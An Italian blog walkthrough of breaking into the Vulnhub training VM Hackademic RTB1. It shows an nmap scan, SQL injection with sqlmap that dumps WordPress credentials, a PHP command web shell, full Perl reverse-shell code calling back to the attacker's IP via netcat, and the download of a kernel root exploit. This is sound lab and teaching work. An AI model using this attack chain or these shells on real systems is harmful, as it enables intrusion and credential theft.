Imparare a sfruttare le vulnerabilità su macchine di prova permette di potersi allenare e poter, in un futuro, riuscire a trovarle su dispositivi reali, con tutte le difficoltà collegate ad esse. In questo articolo andremo a violare la macchina virtuale Hackademic RTB1, ideata nell’ormai lontano 2011 da mr.pr0n e catalogata grazie a Vulnhub.
Per chi non sapesse di cosa stiamo parlando, consiglio di iniziare da Kioptrix 1.
Dopo aver creato la macchina virtuale, eseguo subito una scansione dell’host per osservare le porte aperte e trovare i servizi attaccabili
mrtouch@mrtouch:~$ sudo nmap -sTUV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.00030s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (Fedora)
|_http-title: Hackademic.RTB1
MAC Address: 08:00:27:3D:9E:5F (Oracle VirtualBox virtual NIC)
Device type: media device|general purpose|WAP|storage-misc
Running (JUST GUESSING): Linux 2.6.X|3.X|2.4.X (97%)
Il servizio sulla porta 80 indica chiaramente un server web attivo e funzionante, quindi apro il browser ed inserisco l’indirizzo IP della macchina
Grazie al plugin Wappalyzer vediamo che il sito è basato sul famoso CMS Wordpress e il sistema operativo utilizzato è Fedora. Dopo aver navigato un pò nel sito, un url ha attirato la mia intenzione
http://192.168.56.101/Hackademic_RTB1/?cat=1
Se avete letto gli ultimi articoli di (in)sicurezza della applicazioni web, dovreste sapere che le richieste GET sono uno dei vettori più passibili di attacchi. Proviamo quindi ad avviare sqlmap e vedere se è vulnerabile ad un attacco SQL Injection.
mrtouch@mrtouch:~$ sqlmap -u http://192.168.56.101/Hackademic_RTB1/?cat=1 --dbs
------
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cat=1 AND (SELECT 4489 FROM(SELECT COUNT(*),CONCAT(0x7178707871,(SELECT (ELT(4489=4489,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cat=1 AND SLEEP(5)
------------
[22:19:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[22:19:05] [INFO] fetching database names
[22:19:05] [INFO] the SQL query used returns 3 entries
[22:19:05] [INFO] resumed: information_schema
[22:19:05] [INFO] resumed: mysql
[22:19:05] [INFO] resumed: wordpress
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress
È vulnerabile e abbiamo appena ricevuto informazioni in merito ai database presenti e ai software utilizzati. Per trovare gli utenti, il passo da fare è molto breve
mrtouch@mrtouch:~$ sqlmap -u http://192.168.56.101/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns --dump
Ecco che abbiamo in mano le password di tutti, amministratori e non.
Il livello sta ad indicare i permessi dell’utente, per cui andrò a loggarmi all’indirizzo /wp-login.php con GeorgeMiller. Chiaramente avere in mano il sito è solo il primo passo, siamo ben lontani dall’avere i permessi di root sul sistema!
Ora che abbiamo il controllo di Wordpress, scrivere del codice in PHP per eseguire comandi sul sistema è relativamente semplice. Basta modificare un qualsiasi file, scrivere il codice ed eseguire i comandi che vogliamo.
Il codice che ho utilizzato è questo.
Per eseguire i comandi sulla macchina basterà andare in http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php ed inserire ciò che vogliamo.
http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php?cmd=ls -la
Con qualche comando (uname -a, id, pwd) ottieniamo le informazioni del sistema e l’utente con cui siamo collegati, ossia apache. Teoricamente sarebbe anche possibile raggiungere i livelli di root senza avere una shell da terminale, ma la scomodità dell’eseguire comandi dalla barra degli indirizzi mi ha convinto a passare ad ottenerne una normale.
Essa viene solitamente definita reverse-shell e se ne trovano diverse in rete. Dal canto mio ho preferito utilizzarne una scritta in Perl, definita cosi
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("/bin/sh -i");
Per caricarla nel sito, basta abilitare l’opzione di Upload (Options->Miscellaneous->Allow File Uploads)
Il file verrà spostato nella cartella wp-content (http://192.168.56.101/Hackademic_RTB1/wp-content/), per essere sicuri che sia li basterà eseguire un ls tramite la shell da url
Per ottenere la shell dobbiamo ora eseguire due passaggi essenziali:
Il primo comando sarà quindi
mrtouch@mrtouch:~$ nc -lvvp 3133
e mentre è in ascolto, nella barra degli indirizzi eseguo lo script in perl con questo comando
http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php?cmd=perl ../../wp-content/shell.pl 192.168.56.1 3133
Ed ecco che nel terminale verrà aperta una connessione diretta con il dispositivo vulnerabile
Sebbene abbia provato ad analizzare vari file, sembra che l’unica possibilità sia quella di trovare una vulnerabilità nel sistema operativo e sfruttarla per ottenere i permessi. Ora l’account cui siamo in possesso è apache, il quale non ha molti privilegi.Visto che conosciamo la versione del kernel Linux (2.6.3), è possibile cercare gli exploit in diverse modalità, tra cui searchsploit, exploit-db o un qualsiasi motore di ricerca. Stranamente searchsploit non trova nulla, per cui passo ad una veloce ricerca in rete.
Dopo qualche tentativo ho trovato il file che potrebbe essere utile, il quale sfrutta una vulnerabilità nel protocollo RDS ed ottiene i permessi di root (si può trovare qui).
Per copiarlo dalla mia macchina al dispositivo vulnerabile, eseguo nuovamente netcat sul mio computer
mrtouch@mrtouch:~/Downloads$ cat 15285.c | nc -lv 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from [192.168.56.101] port 8000 [tcp/*] accepted (family 2, sport 58579)
GET / HTTP/1.0
User-Agent: Wget/1.12 (linux-gnu)
Accept: */*
Host: 192.168.56.1:8000
Connection: Keep-Alive
e contemporaneamente nel terminale di Hackademic prelievo il file con wget
sh-4.0$ wget 192.168.56.1:8000 -O /tmp/exploit.c
wget 192.168.56.1:8000 -O /tmp/exploit.c
--2017-05-08 00:27:19-- http://192.168.56.1:8000/
Connecting to 192.168.56.1:8000... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: `/tmp/exploit.c'
0K ...... 193M=0s
2017-05-08 00:27:19 (193 MB/s) - `/tmp/exploit.c' saved [7157]
Una volta ricevuto, compilo con gcc, eseguo ed ecco che siamo root!
Questa sfida è un ottimo esempio di come una combinazione di software non aggiornati possa rivelarsi fatale per un sistema. Siamo passati dall’avere solo un indirizzo IP, abbiamo ottenuto tutto gli utenti e le relative password di Wordpress (quindi avevamo in mano tutto il sito) fino a raggiungere l’apice e poter copiare, spostare e rimuovere tutto ciò che potevamo sulla macchina della vittima.